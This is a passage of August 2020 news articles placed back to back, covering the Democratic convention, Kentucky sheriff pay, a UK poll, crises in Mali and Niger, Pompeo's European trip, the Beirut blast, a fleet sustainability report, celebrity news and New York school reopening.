Justice. The political Crime of the Century, and she had no idea what they were doing? he wrote, referring to efforts to spy on his campaign. Former Republican presidential candidate and Ohio Gov. John Kasich is also scheduled to appear at the convention. Democrats plan to officially make Biden, 77, the nominee during the convention. Presumptive Democratic presidential nominee former Vice President Joe Biden delivers a speech at the William Hicks Anderson Community Center, in Wilmington, Del., on July 28, 2020. (Mark Makela/Getty Images) On the final night of the convention, we will hear from those who can speak to Joe Bidens leadership and character. Joe Biden will speak about his vision for uniting America to move us forward out of constant chaos and crisis, and for delivering on that promise for all, the convention committee said in a statement. Members of Bidens family will speak that night, though their names havent been revealed as of yet. Most of the candidates who vied for the nomination but eventually dropped out and endorsed Biden are supposed to speak at the convention. They include Sens. Amy Klobuchar (D-Minn.), Cory Booker (D-N.J.), Elizabeth Warren (D-Mass.), and Kamala Harris (D-Calif.), as well as former South Bend Mayor Pete Buttigieg. Gerald Lang, a Michigan United Auto Workers union official; Aldo Martinez, a Florida paramedic who is covered by Obamas Deferred Action for Childhood Arrivals program; and Wisconsin elementary school teacher Luz Chapparo Hernandez are among the speakers who arent former or current top Democrats. By West Kentucky Star Staff Aug. 10, 2020 | 11:19 PM | MCCRACKEN COUNTY Carter shared that out of seven other law enforcement agencies in western Kentucky, the McCracken County Sheriff's Office (MCSO) is one of the lowest paid. The seven other law enforcement agencies that were compared include the Livingston County Sheriff's Office, the Marshall County Sheriff's Office, the Christian County Sheriff's Office, the Benton Police Department, the Paducah Police Department, the Calvert City Police Department, and the Kentucky State Police. He said, "When you look at the calls per deputy, our guys are busier than any of these agencies by far. The only agency that exceeds the number of calls that we respond to annually is the Paducah Police Department." Even in that case, Carter says that due to his department having less manpower than the Paducah Police Department, each of his deputies are responding to between 400 and 500 more calls annually than the Paducah Police Department. According to Carter, the lack of comparable pay to some of the other agencies is inhibiting him from retaining current deputies and hiring new deputies with the necessary experience. "The reason that I feel so passionate about this and to be quite honest with you, concerned about this, is because when you start losing guys that have 20-25 years of experience to other agencies, or they retire, there's nothing that you can just quickly replace that knowledge with." Carter continued, "Especially in the current atmosphere that law enforcement is out conducting the job that they do. You've got to have the most qualified people that you can possibly hire." He says there are also times when his department is operating with as little as three deputies on patrol across the county. He shared his concern of the possibility of delayed responses to emergency calls due to the situation. Carter noted that he has always tried hard to ask for as little as possible from the county, sharing that since 2019 his office has used $182,000 out of their drug fund to purchase approved training and equipment, rather than asking the county to provide funding for the purchases. "We're honestly at the brink of a crisis. If something doesn't give I'm going to have to make difficult decisions." Carter said. "We've got to do something and we've got to do something now." When asked how much it would take for his office to be within 80 percent of the Paducah Police Department's salary and retirement pay, Carter says it would take approximately $570,000. This would work out to approximately $407,000 going towards salary and $162,000 going into retirement. Commissioner Eddie Jones commented, saying that he would have to crunch the numbers to figure out just how much it would cost to provide what Carter is needing. He said, "We've got to figure out what this is going to cost and how to get there because less than a year ago we told the county we were broke because we were broke." Carter says his goal is for the commission to provide some hope and a plan. He knows it's not something that could take place overnight, but wants to get the ball rolling. Carter said, "How we get there, I don't have an answer for that. I'm just asking that you all not take this lightly, and to look at any way possible to show these men and women that we're going to pay them what they're worth." Commissioner Bill Bartleman suggested waiting to see what kind of revenue they get from the insurance tax. Adding to that, Commissioner Jeff Parker suggested holding a workshop to work out the numbers once they begin collecting the insurance tax. Judge Executive Craig Clymer sympathized with Carter, but reminded everyone of the need for fiscal responsibility. "Let's keep in mind, the reason we implemented the insurance tax was because we were in a bad dog gone position. The reason we were in a bad dog gone position is because the county had not, for many years, implemented any sort of revenue increase." Clymer said. "So now what I'm hearing is that rather than getting us a little savings to address any emergencies, that we take the result of the income tax and we provide it to pay salaries, keeping ourselves in a hole." Clymer continued, saying that if they could just get the message to McCracken County residents of the need for higher taxes for the benefit of the Sheriff's department, he believes it would be well received. Jones and Parker both agreed that they would like to see a plan, with Jones saying he would contact Carter for additional information. You can see the full meeting below. During Monday's Fiscal Court meeting, McCracken County Sheriff Matt Carter discussed the need for better pay within the Sheriff's Office. A pub worker delivers drinks to an outside sitting area. (Getty) Eleven per cent of Britons would rather pubs stayed open than schools in the event of another lockdown, it has been revealed. A survey by polling agency YouGov asked 2,370 British adults for their opinion as schools prepared to open again next month. Respondents were asked: If the coronavirus risk meant the government was only able to allow one of the following to open, which do you think it should be? The YouGov survey found that while 78% of people thought schools were more important than pubs, 11% said they would rather pubs remained open during lockdown. Boris Johnson poses with his arms out-stretched in a classroom as he visits St Joseph's Catholic Primary School in Upminster ahead of schools reopening. (Getty) Some 18% of 18 to 24-year-olds wanted pubs to stay open instead of schools, compared to just 7% of respondents over the age of 60. Men were also more likely to want pubs to stay open than women, with 15% of men considering them more essential than schools compared with just seven per cent of women. There was also a startling regional difference, with 13% of those in London and the north of England preferring that pubs remain open as opposed to just 4% in Scotland. It comes as schools prepare to return next month amid warnings on Tuesday that older pupils are just as likely as adults to transmit coronavirus. Asked about the Public Health England findings, Boris Johnson said: "I'm very, very impressed by the way schools have got ready. "Obviously, we need to make sure that we don't have a second wave, that we do everything we can to avoid a second wave. "I'm afraid you are going to see outbreaks, we have seen them across the country in the last few weeks and months and we have also seen the immense efforts that local authorities have gone to, local communities have gone to, to get that outbreak under control. "The most important thing for people to remember is that you have got to get schools back, we will get schools back, but also we have got to stick to our discipline - so in schools they have some very well thought through plans for how to manage it." Education secretary Gavin Williamson has said PHE findings due to be published later this year showed there was little risk from the government's plans to reopen schools in England in September. Story continues However, The Times reported that while there was little risk from primary schools, researchers who had worked on the study were unhappy with the way their findings, which have not yet been fully analysed, had been used by ministers. The report is likely to heighten concerns among teaching unions concerned about whether schools can safely return in the way ministers want. Coronavirus: what happened today Click here to sign up to the latest news and information with our daily Catch-up newsletter The chief international mediator in Mali's deepening political crisis, Nigeria's ex-president Goodluck Jonathan, has urged the political opposition to stop staging protests and to enter dialogue instead. The envoy from the West Africa bloc ECOWAS made a surprise visit to the poor Sahel state on Monday on the eve of opposition-led demonstrations against embattled President Ibrahim Boubacar Keita. Speaking at a press conference in the capital Bamako that evening, Jonathan said "demonstrations do not solve problems per se" and talks would resolve the crisis. "Encouraging more demonstrations is just exposing young people to big risk," he said. "People could die in the process". His appeal came after the opposition June 5 Movement rejected ECOWAS proposals to end months of political crisis and vowed to stage fresh protests on Tuesday. The group has been channeling deep frustrations in Mali over a dire economy, perceived government corruption and a brutal jihadist conflict. Last month, 11 people died over three days of unrest following an anti-Keita protest, in the worst political strife the country has seen in years. Heads of government from the Economic Community of West African States (ECOWAS) stepped in, suggesting on July 27 the formation of a new unity government, among other measures, while sticking by Keita. The June 5 Movement has continued to insist on the 75-year-old president's departure, however. The impasse is alarming Mali's neighbours and allies, who are keen to avoid the former French colony of some 19 million people sliding into chaos. Swathes of the country's territory lie outside of the control of the government, which has struggled to contain a jihadist insurgency that first emerged in 2012 and which has claimed thousands of lives. The conflict has since spread to neighbouring Burkina Faso and Niger. On Monday, Jonathan said that he had pleaded with influential imam and opposition figurehead Mahmoud Dicko to "be a bit mindful about encouraging demonstrations". "You can start a demonstration but you will never know how it will end," he said. One of Jonathan's staffers told AFP that the ex-president is due to meet Keita and members of his political party on Tuesday. Amid Germany troop pullout, Pompeo seeks friendly faces to east US Secretary of State Mike Pompeo, who is heading to Poland as part of a growing relationship, is welcomed on a February 2019 visit by Foreign Minister Jacek Czaputowicz As President Donald Trump orders US troops out of Germany and faces a tough re-election battle, his top diplomat, Mike Pompeo, is heading to friendly climes in Central and Eastern Europe. Pompeo on Tuesday opens a five-day trip that will terminate in close ally Poland, which is eager to welcome some of the US troops leaving Germany to guard against historic adversary Russia. He will also travel to the Czech Republic, Slovenia and Austria where he is expected to press his campaign for nations to shun Huawei, the Chinese telecom giant considered a threat by Washington as it takes a lead in fifth-generation internet. In Slovenia, where he will be the first US secretary of state to visit since 2001, Pompeo will on Thursday sign an agreement on 5G, officials said without previewing details. Pompeo's trip comes weeks after the Pentagon said the United States would bring home some 6,400 military personnel from Germany and shift nearly 5,600 more to other NATO allies including Italy and Belgium. Trump has a tense relationship with German Chancellor Angela Merkel, who declined his invitation for a Group of Seven summit in Washington in the middle of the coronavirus pandemic, and accuses Europe's largest economy of unfair trading practices. "What is most significant about this trip is the places the secretary is not going to," said Ian Lesser, the Brussels-based vice president of the German Marshall Fund of the United States. "If the secretary was going to address the core issues in transatlantic relations at the moment, he would be making stops in Brussels, Paris and Berlin." Lesser said that the troop repositioning out of Germany was unlikely to be a major issue for US voters. "What does have some political resonance is how a senior American official is received when he or she goes to Europe," he said. "This is a low-risk visit from the point of view of the administration," he said. "They want to give an impression of foreign policy success." Story continues - 'One of our closest allies' - Pompeo last month visited Britain and Denmark and also traveled last year to Poland, where President Andrzej Duda has formed close relations with Trump. Trump invited Duda to the White House days before Poland's election in June, in which Duda won a narrow victory after a polarizing campaign in which he attacked LGBT rights. Polish Defense Minister Mariusz Blaszczak has said that the United States will deploy at least 1,000 additional troops to Poland. "I think it's fair to say Poland is one of our closest and strongest allies. We enjoy unprecedented levels of bilateral relations," Phil Reeker, the top State Department official for Europe, told reporters. He pointed out that Poland is one of the few NATO nations to meet a goal of spending two percent of GDP on defense -- unlike Germany, in a running sore point for the Trump administration. Reeker said that Pompeo will also raise energy independence from Russia. Pompeo last month opened the way for sanctions over the Nord Stream 2 pipeline being built from Russia to Germany. Poland adamantly opposes the project, fearing it strengthens Russia's influence over Europe, while an Austrian company is among the participants. The tour will be heavy on historical symbolism. In the Czech Republic, Pompeo will head to Pilsen to mark western Bohemia's 1945 liberation by US troops under George Patton. But at least one of Pompeo's meetings may be tense. Czech President Milos Zeman is known for his outspoken remarks including support of Russia and China. Reeker said Pompeo would have a "short discussion" with Zeman during what he called a courtesy call. sct/jh Dr Stephanie Yacoub (pictured) was in the middle of a delivery at George Hospital in Beirut when a massive blast ripped through the city on August 4 An Australian doctor caught up in the carnage of the Beirut blast has relived the miraculous moment she safely delivered a baby as the explosion tore apart her hospital. Dr Stephanie Yacoub had just begun delivering the child when more than 2,750 tonnes of ammonium nitrate detonated at a port in the Lebanese capital on August 4. Glass rained down and the walls caved in at the nearby George Hospital just moments before her patient, Emmanuelle Khnaisser, was due to give birth. Dr Yacoub leapt to the aid of her patient and her colleagues amid the chaos. 'I think the first reaction was complete and utter shock. I wanted to first just make sure everyone was OK, to make sure the baby was alive and OK,' Dr Yacoub told The Project. Medical staff had only just wheeled the mother-to-be Emmanuelle Khnaisser into the maternity ward when the blast went off The hospital's Chief OBGYN was thrown to the ground, as glass rained down around her and the hospital staff 'I looked out of the window of the shattered glass and I just saw people running in the streets covered in blood and I still had a job that I needed to perform.' Medical staff had only just wheeled the mother-to-be into the maternity ward when the blast went off. Her husband Edmound captured the moment the hospital partially collapsed on his mobile phone. After the initial shock, Dr Yacoub composed herself and got back to work, using the light from her mobile phone to guide her through the delivery. A thunderous explosion can be heard in the video as medical staff appear visibly shaken before the lights switch off and staff are thrown to the ground Just seconds later the shockwaves tore through the medical facility and left the hospital a mess of shattered glass But Dr Yacoub explained she immediately feared the worst. 'Unfortunately we are in the Middle East so when we do have an explosion you brace yourself,' Dr Yacoub said. 'You have no idea where its coming from or if there is going to be another one. So we were very afraid, we had no idea what this was.' Baby George was delivered safely thanks to the incredible efforts of the medical team. After the initial shock Dr Yacoub composed herself and got straight back to work, using the light from her mobile phone to perform the operation Dr Yacoub shared her experience on Facebook in the immediate aftermath of the blast, thanking her colleagues for their commitment to the cause Her colleagues worked through their own injuries to help deliver the child, only checking on themselves after the birth. One of the nurses at the hospital was killed despite resuscitation efforts by Dr Yacoub. She shared her experience on Facebook in the aftermath of the blast, thanking her colleagues for their commitment. 'From the attending physician who carried a harmed resident down to the ER, the midwives who worked through their own injuries, the pediatrics team and the residents I have the blessing to call family and those who lost their lives serving, I have nothing but the utmost respect for you,' she wrote. 'This experience, is surreal. Im fine and unharmed which I find miraculous in this tragedy. 'My first thought was to hear the babys heart beat and make sure that everyone was OK.' Her colleagues worked through their own injuries to perform the operation, only pausing after it was complete to check on themselves The voice of Dr Yacoub is then heard checking in on her patient and staff before reassuring them it will be okay Produced with support from the report's title sponsors Daimler Trucks North America , Penske Transportation Solutions , Shell Oil Company , and supporting sponsor Exelon Corporation , the report offers insights into the current and future adoption of four sustainable fuel and vehicle technologies: natural gas vehicles (NGVs), propane (LPG) vehicles, battery electric vehicles (BEVs), hydrogen fuel cell electric vehicles (FCEVs). As fleets adopt these technologies, they are inevitably compared to baseline diesel and gasoline vehicles, which have historicallyand will continue todominate the commercial fleet market. This report also summarizes sustainability trends in these baseline technologies that serve as a benchmark for emerging alternative fuel vehicles and advanced technologies. The debut report finds that while diesel and gasoline vehicles have led the medium- and heavy-duty fleet markets in terms of vehicle and fuel sales for decades, fleets are now testing and purchasing sustainable vehicle technologies in record numbers. The authors note the industry is experiencing a critical inflection point where alternative fuel vehicle adoption is expanding from the gradual uptake in niche applications seen over the past several decades, to faster and broader adoption within the last few years, supported by four key findings: Across a broad spectrum of fleets surveyed, approximately 98% expect to increase or continue the same level of use of sustainable vehicle technologies and fuels. Natural gas, propane, battery electric, and hydrogen fuel cell electric vehicles, the four sustainable vehicle technology platforms covered in the study, are all growing in terms of vehicle sales, fuel sales, and investment. Sustainability is the top motivator for purchasing decisions among early adopter public, private, and even for-hire fleets in deploying clean vehicle technologies. Many U.S. fleets are now transitioning to clean vehicle technologies not just to reduce total cost of ownership but to meet sustainability objectives. Fleets confirm there is no material performance loss when switching to most renewable fuels renewable diesel, natural gas, and electricityand would use more when it is a cost-neutral, drop-in replacement. "We applaud the research effort and insights presented by the inaugural State of Sustainable Fleets report," said Richard Howard, senior vice president, On-highway sales and marketing for DTNA. "Our vision for a future of C0-neutral commercial transportation can only be realized by the collaboration between manufacturers and fleets to ensure we are delivering solutions to meet their needs. We are pursuing clean technologies of the future, and we will arrive to that future together as an industry who keeps the world moving." "We are very pleased to serve as a sponsor of the inaugural State of Sustainable Fleets Report," stated Drew Cullen, senior vice president of fuels and facility services for Penske Transportation Solutions. "We are here to advise and support our customers in navigating the complexities of operating and managing the latest vehicle technologies as they seek to reach their sustainability goals." "As one of the largest providers of fleet solutions globally, we support our customers in their transition to lower-emission fuels through energy provision coupled with expertise in road services and fleet management. This report is a concise and comprehensive resource, equipping fleet managers with critical insights they need to plan for operations in a lower-emission world," said Giorgio Delpiano, vice president of fleet solutions for Shell. "Exelon is committed to providing a cleaner and brighter future for our customers and communities while achieving excellent operational performance," said Calvin Butler, CEO of Exelon Utilities. "Transportation electrification holds the promise of helping the cities and states in which we operate meet their environmental goals, reduce their carbon footprint, bring cleaner air to all communities we serve and create economic opportunity through job creation and reduced energy costs. At Exelon, we recently announced our commitment to electrify 50 percent of our utility vehicle fleet by 2030, and we understand the importance of selecting the right sustainable technology and designing, building and implementing the necessary infrastructure. Fleets across the U.S. rely on industry resources like the State of Sustainable Fleets report to make informed decisions as they transition to clean fuels and technology." Through interviews and surveys, the report gathers data from stakeholders who have real-world experience deploying sustainable vehicle technologies, including progressive fleet owners and operators, original equipment manufacturers (OEMs), and infrastructure providers. The analysis includes public, private, and for-hire fleets, including school, municipal/shuttle, urban delivery, refuse, utility, transit, short-haul, and long-haul sectors. This first-of-its-kind report includes unique insights into vehicle sale trends, anticipated vehicle development timelines, real-world infrastructure and fuel costs, and the growing adoption of renewable fuels. Structured to cover each of the sustainable vehicle technologies in depth, the report is organized such that each chapter is a standalone guide to the current state and future trends of that technology with detailed data, analysis, and unique insights. GNA is hosting a complimentary two-part virtual launch event to share the report's key findings in partnership with ACT Virtual, a digital extension of the annual ACT Expo. On Tuesday, August 11th at 10 a.m. PST executives from the report's title sponsors will discuss the report's findings. Panelists included: Brian Cota , vice president of sales for national accounts for Daimler Trucks North America , vice president of sales for national accounts for Daimler Trucks North America Drew Cullen , senior vice president of fuels and facility services for Penske Transportation Solutions , senior vice president of fuels and facility services for Penske Transportation Solutions Giorgio Delpiano , vice president of fleet solutions for Shell Oil Company , vice president of fleet solutions for Shell Oil Company Erik Neandross , chief executive officer for Gladstein, Neandross & Associates (GNA) will moderate the discussion Representatives from leading fleets will join a follow-up panel, the State of Sustainable Fleets in a COVID-19 World on Thursday, August 13th at 10 a.m. PST. Panelists include: Carlton Rose , president of global fleet maintenance and engineering for UPS , president of global fleet maintenance and engineering for UPS James Cade , vice president of fleet services for Ruan Transportation , vice president of fleet services for Ruan Transportation Darryl Spencer , senior assistant vice president of engineering for Dallas Area Rapid Transit (DART) , senior assistant vice president of engineering for Dallas Area Rapid Transit (DART) Drew Cullen , senior vice president of fuels and facility services for Penske Transportation Solutions will moderate the discussion For more information about the report and the launch event series, visit http://www.stateofsustainablefleets.com/. About Gladstein, Neandross & Associates (GNA) GNA is a North American consulting firm specializing in the development and commercialization of renewable energy technologies, near-zero and zero emission vehicles, and low carbon fuels for transportation and commercial use. GNA's core expertise is providing strategic support to develop and bring technologies to market, managing relationships with key public agencies, grant writing and administration, as well as implementing effective outreach, communication, and education programs. www.gladstein.org About Daimler Trucks North America Daimler Trucks North America LLC, headquartered in Portland, Oregon, is the leading heavy-duty truck manufacturer in North America. Daimler Trucks North America produces and markets commercial vehicles under the Freightliner, Western Star and Thomas Built Buses nameplates. Daimler Trucks North America is a Daimler company, the world's leading commercial vehicle manufacturer. About Penske Transportation Solutions Penske Transportation Solutions is the umbrella brand for Penske Truck Leasing, Penske Logistics, Epes Transport Systems and Penske Vehicle Services. Our businesses provide innovative transportation, supply chain and technology solutions to keep the world moving forward. Visit www.GoPenske.com to learn more. About Shell Oil Company Shell Oil Company is an affiliate of the Royal Dutch Shell plc, a global group of energy and petrochemical companies with operations in more than 70 countries. In the U.S., Shell operates in 50 states and employs more than 17,000 people working to help tackle the challenges of the new energy future. About Exelon Exelon Corporation is a Fortune 100 energy company with the largest number of electricity and natural gas customers in the U.S. Exelon does business in 48 states, the District of Columbia and Canada and had 2019 revenue of $34 billion. Exelon serves approximately 10 million customers in Delaware, the District of Columbia, Illinois, Maryland, New Jersey and Pennsylvania through its Atlantic City Electric, BGE, ComEd, Delmarva Power, PECO and Pepco subsidiaries. Exelon is one of the largest competitive U.S. power generators, with more than 31,000 megawatts of nuclear, gas, wind, solar and hydroelectric generating capacity comprising one of the nation's cleanest and lowest-cost power generation fleets. The company's Constellation business unit provides energy products and services to approximately 2 million residential, public sector and business customers, including three fourths of the Fortune 100. Follow Exelon on Twitter @Exelon. FOR INFORMATION: Celeste Griffy Gladstein, Neandross & Associates 424.744.4489 [email protected] SOURCE Penske Transportation Solutions Related Links http://www.stateofsustainablefleets.com Eva Longoria put her envy-inducing physique on full display, as she enjoyed a picturesque beach day. As the 45-year-old Golden Globe winner flaunted her glowing tan and sculpted midriff in a tiny peach bikini, she could be seen leaping for joy in front of the crystal-clear ocean. 'Lets jump into Monday like....' the actress captioned the beach snap on Instagram. Bikini body: Eva Longoria put her envy-inducing physique on full display, as she enjoyed a picture-perfect beach day In addition to receiving praise for her bubbly disposition, her pal Courtney Lopez took to the comment section to praise the actress' perfectly pointed toes. 'Haha its the cheerleader in me,' the Desperate Housewives alum replied to the wife of Mario Lopez on Monday. Longoria, who cheered for her high school team and at Texas A&M University, also got a kick out of a cheeky comment from CNN's Ana Navarro-Cardenas. 'I couldnt strike that pose if I was getting suspended by steel cables,' the journalist remarked, to which, the mother-of-one responded with four laughing emojis. 'Smiles all around,' she captioned a fresh-faced photo of herself and two-year-old Santiago, who she shares with husband Jose Baston, on Sunday While her voluminous hair flew in the air, Longoria posed up a storm with her arms extended over her head. For the past week, she's been sharing a number of sultry swimwear selfies for her 7.9 million Instagram followers. On Sunday, she wore a red two-piece and enjoyed some quality time with her two-year-old son Santiago, who she shares with husband Jose Baston. Turning up the heat: For the past week, she's been sharing a number of sultry swimwear selfies for her 7.9 million Instagram followers 'Smiles all around,' she captioned a fresh-faced photo of herself and little man. Eva has been keeping herself busy amid the coronavirus pandemic, sharing footage of herself working out, and also appearing in a Desperate Housewives reunion. The Texas native returned home to quarantine earlier this in March, after traveling to Italy, the center of the COVID-19 pandemic in Europe. Wet and wild! Eva Longoria donned a very low-cut swimsuit that displayed her decolletage for a sultry mirror selfie on Tuesday On February 20, Eva flew from Los Angeles to Rome to shoot a short film, amid the coronavirus outbreak that has since put all of Italy under lockdown. She was staying in Castel Gandolfo, a medieval town 25 kilometres away from the capital, and was pictured running through the woods, while shooting a scene. Near the end of February, she assured her Instagram followers that she was all right since she was not in northern Italy, where the virus first became a major concern. Source: Xinhua| 2020-08-11 13:16:37|Editor: huaxia Video Player Close LONDON, Aug. 11 (Xinhua) -- Washington's so-called "Clean Network" program will "bolster a worrying movement" toward the split of the global internet, said a recent BBC article. "The U.S. government has for a long time criticized other countries for controlling access to the internet ... and now we see the Americans doing the same thing," the article quoted Alan Woodward, a computer security expert at the University of Surrey in Britain, as saying. "It's shocking," said Woodward, adding, "this is the Balkanization of the internet happening in front of our eyes." Last week, U.S. Secretary of State Mike Pompeo announced the launch of five new lines of effort under the program to "protect America's critical telecommunications and technology infrastructure." According to the five lines, Washington will seek to remove "untrusted" Chinese apps such as TikTok and WeChat from U.S. mobile app stores, limit the ability of Chinese cloud service providers like Alibaba, Baidu, and Tencent to access cloud-based systems in the country, and ensure undersea cables "are not subverted for intelligence gathering" by China. "It's hard not to view this through the prism of the U.S. elections in November," said the article titled "Is the U.S. about to split the internet?" To the White House, removing "untrusted" Chinese apps actually means removing all Chinese apps, it said. Such a vision of the U.S. internet "in the main free of China" will only make it "a far more divided place," it added. Enditem In the heart of Sahel desert territory ravaged by jihadist attacks, Niger faces growing threats to its security four months ahead of a presidential election with high stakes. As in neighbouring Mali and Burkina Faso, the security forces and the government work above all to keep the large, landlocked nation afloat while the security threat takes multiple forms. On Sunday, six French tourists and their two Nigerien guides were slaughtered in the Koure National Park, just 60 kilometres (37 miles) from the capital Niamey. The killings were the first by jihadist gunmen in that area, a destination for weekend leisure trips by Niamey residents, including foreigners. Niger's army is "extremely mobilised and sought after" on "three fronts of destabilisation", said Niagale Bagayoko, chair of the African Security Sector Network. Complex rivalries In the west, the vast and unstable Tillaberi region is part of the "three-border region", a hotspot of jihadism where the frontiers of Burkina, Niger and Mali converge. Armed groups have made camps there for several years and regularly launch attacks on local symbols of state authority. Military bases are their prime target, but they also kidnap civil servants and carry out planned assassinations. The main jihadist group in the region is led by Abu Walid Al-Sahrawi, known as the Islamic State in the Greater Sahara (ISGS) and affiliated since 2015 to the Islamic State organisation. The graves of 71 troops killed in an attack in Niger at the end of 2019. By Boureima HAMA (AFP/File) Its men have carried out dozens of attacks in the three countries. In Niger, the group killed 71 soldiers at Inates at the end of 2019, then killed 89 troops at Chinegodar early this year. Other jihadist forces in the region include the Group to Support Islam and Muslims (GSIM), affiliated with Al-Qaeda. While they have occasionally joined forces to carry out specific raids, the different groups linked to the Islamic State and Al-Qaeda have battled each other since early 2020, mainly in the Gourma region of Mali. The jihadists benefit from a feeling of abandonment in the rural population and exploit pre-existing conflicts between communities. In a recent report, the International Crisis Group think tank found that in northern Tillaberi, "as elsewhere in the Sahel, an excessive focus on counter-terrorism has however resulted in the overuse of military tools for a conflict that is fundamentally driven by inter- and intra-communal competition over rights and resources, which the Islamic State has exploited." 'Multinational commitments' In the east, Niger faces a different jihadist threat around the shores of Lake Chad. The Nigerian-born extremist movement Boko Haram is active in the area, together with the Islamic State West Africa Province (ISWAP), which split with Boko Haram in 2016 and is linked with the Islamic State. Attacks in this part of Niger, particularly in Diffa, the main town in southeast Niger, have been numerous in the past five years. To the north, Niger shares a border with Libya and its turmoil. The Salvador Pass, a huge stretch of desert at the frontier with the two countries and Chad, is reputedly a haven for trafficking in weapons, drugs and migrants. Experts say Niger's armed forces are inadequately trained and under-equipped. By Souleymane Ag Anara (AFP/File) Niger has sent troops for duty in two regional forces, the G5 Sahel joint mission and the joint multinational force at Lake Chad. Niger soldiers are also part of MINUSMA, the United Nations mission in Mali. While Niger's army is held to be "more solid" than some other armies in the region, according to Bagayoko, the soldiers remain inadequately trained and under-equipped. They have paid a heavy human cost since the start of the crisis. 'Problems of governance' This is the context in which Niamey authorities are approaching the presidential vote at the end of December. President Mahamadou Issoufou has served two terms and will not be standing. One of the pillars of power, former interior minister Mohamed Bazoum, will be the candidate of the presidential party. One of the pillars of power, former interior minister Mohamed Bazoum will be the candidate of the presidential party. By Souleymane Ag Anara (AFP/File) "The image of Niger as a stable hub in the region has been undermined by the many recent attacks on the army and by embezzlement scandals," said Yvan Guichaoua, a researcher at the University of Kent in England. In spite of "the efforts made towards consolidating peace, (there are) problems of governance in the security sector," Bagayoko said. She cited "a revealing audit of the fraudulent management of defence budgets, the passing of a disputed law on cybersecurity and the arrests of journalists and bloggers." Moreover, the security threat has edged towards the capital. Jihadists in May 2018 attacked the most heavily guarded prison in the country, at Koutoukale, killing 28 soldiers. In June 2019, jihadists raided a police station at the gates of the city, killing two officers. Julianne is a great addition to our team, said firm co-founder and principal attorney Leila Watson. She is a talented lawyer committed to providing exceptional service to our personal injury clients. Cory Watson Attorneys is proud to welcome a new associate, Julianne Zilahy, who joins the firms Personal Injury section in the Birmingham office. Julianne Zilahy graduated from the Cumberland School of Law at Samford University in 2019, where she first discovered a love for advocacy. She externed with Judge Bowdre of the Northern District of Alabama and worked as a Research Attorney for a local plaintiffs firm until August 2020, when she joined the staff at Cory Watson Attorneys. A native of Connecticut, Julianne earned her degree in Ballet and minor in Writing from Texas Christian University in 2013. After graduation, she danced professionally with the Alabama Ballet for two years before pursuing law full-time and earning her Juris Doctor degree from Cumberland. Her devotion to seeking justice brought her to the Personal Injury practice group at Cory Watson, where she is currently handling cases involving motor vehicle accident litigation. Julianne is a great addition to our team, said firm co-founder and principal attorney Leila Watson. She is a talented lawyer committed to providing exceptional service to our personal injury clients. Julianne is excited to continue her career as an advocate by learning from the talented and passionate attorneys at Cory Watson. Click here to learn more about Julianne Zilahy. ABOUT CORY WATSON ATTORNEYS Cory Watson Attorneys is a nationally recognized personal injury law firm with offices in Birmingham, Alabama; Memphis and Nashville, Tennessee. The firm has recovered more than $3 Billion for clients across the country. Cory Watson Attorneys are frequently at the forefront of major class actions and multidistrict litigations involving dangerous pharmaceuticals and product liability, and are often appointed to leadership positions in national cases. Firm practice areas include Personal Injury, Product Liability, Class Action, Asbestos, Business & Commercial Litigation, Dangerous Pharmaceuticals, Defective Medical Devices, and Environmental/Toxic Torts. Click here to learn more about Cory Watson Attorneys. SOUTHAMPTON, NY After Gov. Andrew Cuomo announced Friday that all school districts in the state must host information sessions for parents and staff, the Southampton Union Free School has announced re-entry plan briefings. The district has scheduled three parent/guardian and one staff meeting to discuss the re-entry plan. The meetings will be held virtually via Zoom video conference. Access codes will be made available on the districts website and Facebook page prior to the scheduled meetings. The re-entry parent/guardian meetings will be held on Tuesday, Aug. 18, at 6:30 p.m., Wednesday, Aug. 19, at 1 p.m. and Thursday, Aug. 20, at 3 p.m. The teacher/staff meeting will be held on Thursday, Aug. 20 at 11 a.m. All New York school districts are authorized to open this fall, Gov. Andrew Cuomo announced Friday. All students and teachers must wear masks and adhere to social distancing; masks will be provided to those who do not have them, Cuomo said. The state's 749 school districts are required to submit a reopening plan to the state Department of Health and the state Education Department. The DOH has the authority to reject plans, Cuomo said. The DOH will notify the districts whose plans are incomplete or deficient. If the DOH does not approve a plan, a district will not be able to open, Cuomo said. How each district decides to reopen is up to its own discretion, whether it's in-person or a hybrid plan that includes remote learning, he said. Each school district must post three plans on its website: plans for remote learning, procedures for coronavirus testing and contact tracing those plans must be posted online by next Friday, he said. Parents need an opportunity to be heard, he said. "The more dialogue the better." Also, Cuomo said each school district must host three online discussion session opportunities for parents with questions by Aug. 21, with five such sessions planned for the "Big 5" districts. Story continues Finally, he said, a separate session must be offered for teachers to air their questions and concerns in each district. There is "no one-size-fits-all" plan for school districts, Cuomo said. Looking forward, Cuomo said the state will continue to watch the infection rate between now and the first day of school. If there is a spike in the infection rate, the decision to reopen can be revisited but "for planning purposes," they can reopen, he said. New York State United Teachers President Andy Pallotta released a statement regarding Cuomo's decision on reopening schools. "We have been clear all along: Health and safety is the most important consideration in reopening school buildings," he said. "Viral infection rates tell only one part of the story." Many educators and parents have anxiety about local school district reopening plans that have been submitted to the state, Pallotta said. Concerns, he said, include "the lack of guidance on specific procedures for closure, testing and contact tracing in the event of a COVID-19 case in a school. Right now, there may be some areas where parents and educators are confident in their district's plan, but in many others, we know they aren't." No district should consider themselves ready to reopen buildings until their plans are safe and everything in that plan meant to keep the school community safe is implemented, Pallotta added. "Being safe means parents and teachers must be confident in the reopening plan, and it is welcome news that districts must meet with parents and teachers this month. We're thankful the governor agrees that forcing people back into the classroom when they feel their health is threatened is not what should happen. So if districts need to phase in the reopening of buildings, so be it," Pallotta said. "We must err on the side of caution. Period." Communication is key, Cuomo said: "I have been deluged with calls from parents and teachers and there is a significant level of anxiety and concern." New York's school guidance "has been touted as the best in the country," as has the state's reopening for the economy, Cuomo said. "If anyone can do it, we can do it but we have to continue to be smart." No school sports have been approved, state officials said. Cuomo announced in July that New York schools can reopen only if coronavirus infection rates fell below strict benchmarks that were set in early August. The formula that Cuomo spelled out allows school openings in regions that are in phase four and have an infection rate under 5 percent. An "emergency" stop to openings will take place if infections rise above 9 percent, he said. In May, federal health officials released recommendations for reopening schools amid the coronavirus outbreak, including keeping desks 6 feet apart, canceling field trips, shuttering cafeterias and intensifying disinfection of everything from door handles to drinking fountains. The federal Centers for Disease Control and Prevention unveiled a gradual three-step system and numerous tips and tricks for schools that are preparing to reopen. The suggestions were included as part of a broader reopening roadmap, a 60-page document titled,"CDC Activities and Initiatives Supporting the COVID-19 Response and the President's Plan for Opening America Up Again." This article originally appeared on the Southampton Patch Former Food and Drug Administration commissioner Scott Gottlieb sounded a note of caution on Tuesday against Russias claim to have produced a 